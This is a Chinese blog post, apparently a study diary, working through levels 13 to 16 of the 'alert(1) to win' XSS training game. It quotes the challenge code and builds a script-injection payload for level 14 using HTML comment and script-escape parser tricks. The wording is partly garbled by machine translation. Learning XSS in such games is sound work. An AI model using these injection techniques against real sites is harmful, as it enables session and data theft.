【20171027中】alert(1) to win 第13,14,15,16题

时间:2022-02-05 08:50:26

function escape(s) { var tag = document.createElement(‘iframe‘); // For this one, you get to run any code you want, but in a "sandboxed" iframe. // // https://4i.am/?...raw=... just outputs whatever you pass in. // // Alerting from 4i.am won‘t count. s = ‘<script>‘ + s + ‘<\/script>‘; tag.src = ‘https://4i.am/?:XSS=0&CT=text/html&raw=‘ + encodeURIComponent(s); window.WINNING = function() { youWon = true; }; tag.setAttribute(‘onload‘, ‘youWon && alert(1)‘); return tag.outerHTML; }

分析:

这题老黑没解出来,只知道答案是name=‘youWon‘,按照网上的答案可知每个frame都有一个全局东西window,而name是window的成员属性,存储窗口的名称。老黑猜度输入name=‘youWon‘会触发alert(1),但是尝试网址没有提示。

第14题

标题问题:

1 function escape(s) { 2 function json(s) { return JSON.stringify(s).replace(/\//g, ‘\\/‘); } 3 function html(s) { return s.replace(/[<>"&]/g, function(s) { 4 return ‘&#‘ + s.charCodeAt(0) + ‘;‘; }); } 5 6 return ( 7 ‘<script>‘ + 8 ‘var url = ‘ + json(s) + ‘; // We\‘ll use this later ‘ + 9 ‘</script>\n\n‘ + 10 ‘ <!-- for debugging -->\n‘ + 11 ‘ URL: ‘ + html(s) + ‘\n\n‘ + 12 ‘<!-- then suddenly -->\n‘ + 13 ‘<script>\n‘ + 14 ‘ if (!/^http:.*/.test(url)) console.log("Bad url: " + url);\n‘ + 15 ‘ else new Image().src = url;\n‘ + 16 ‘</script>‘ 17 ); 18 }

分析:

触发alert(1)的处地址第11行,所以要结构在<script></script>的payload。

TRY:

第一次:"alert(1);"   掉败!

第二次:查阅资料,知道html5的"script data escaped state"特性,使用<!--<script>,可以令解析器将此句后边的对象当做JS,可以实现闭合第9行的</script>,因此结构payload="alert(1);<!--<script>",功效显示如下:

1 <script>var url = "alert(1);<!--<script>"; // We‘ll use this later </script> 2 3 <!-- for debugging --> 4 URL: alert(1);&#60;!--&#60;script&#62; 5 6 <!-- then suddenly --> 7 <script> 8 if (!/^http:.*/.test(url)) console.log("Bad url: " + url); 9 else new Image().src = url; 10 </script>

目前实际有效的代码是:

1 <script>var url = "alert(1); 2 3 <!-- for debugging --> 4 URL: alert(1); 5 <!-- then suddenly --> 6 <script> 7 if (!/^http:.*/.test(url)) console.log("Bad url: " + url); 8 else new Image().src = url; 9 </script>

但是还是有问题,第6行的<script>标签还有感化,而且语法报错!

第三次:payload=“alert(1);/*<!--<script>*/if(/a//*”,语法通过,会成为这样:

1 <script>var url = "alert(1);\/*<!--<script>*\/if(\/a\/\/*"; // We‘ll use this later </script> 2 3 <!-- for debugging --> 4 URL: alert(1);/*&#60;!--&#60;script&#62;*/if(/a//* 5 6 <!-- then suddenly --> 7 <script> 8 if (!/^http:.*/.test(url)) console.log("Bad url: " + url); 9 else new Image().src = url; 10 </script>

去除无效代码如下:

1 <script>var url = "alert(1);" 2 3 <!-- for debugging --> 4 URL: alert(1); 5 if(/a/.test(url)) console.log("Bad url: " + url); 6 else new Image().src = url; 7 </script>

PS:以上是老黑本身的理解,仅供参考。

第15,16题,我并不理解答案,,等以后常识足够的时候,再并吞这两个难题。网上解释的链接,你过来啊

虽然今天下午解决了两个题,但是也浪费了太多时间,效率太低,而且便宜力不够,注意力不够集中,今天的表示很不对劲。

【20171027中】alert(1) to win 第13,14,15,16题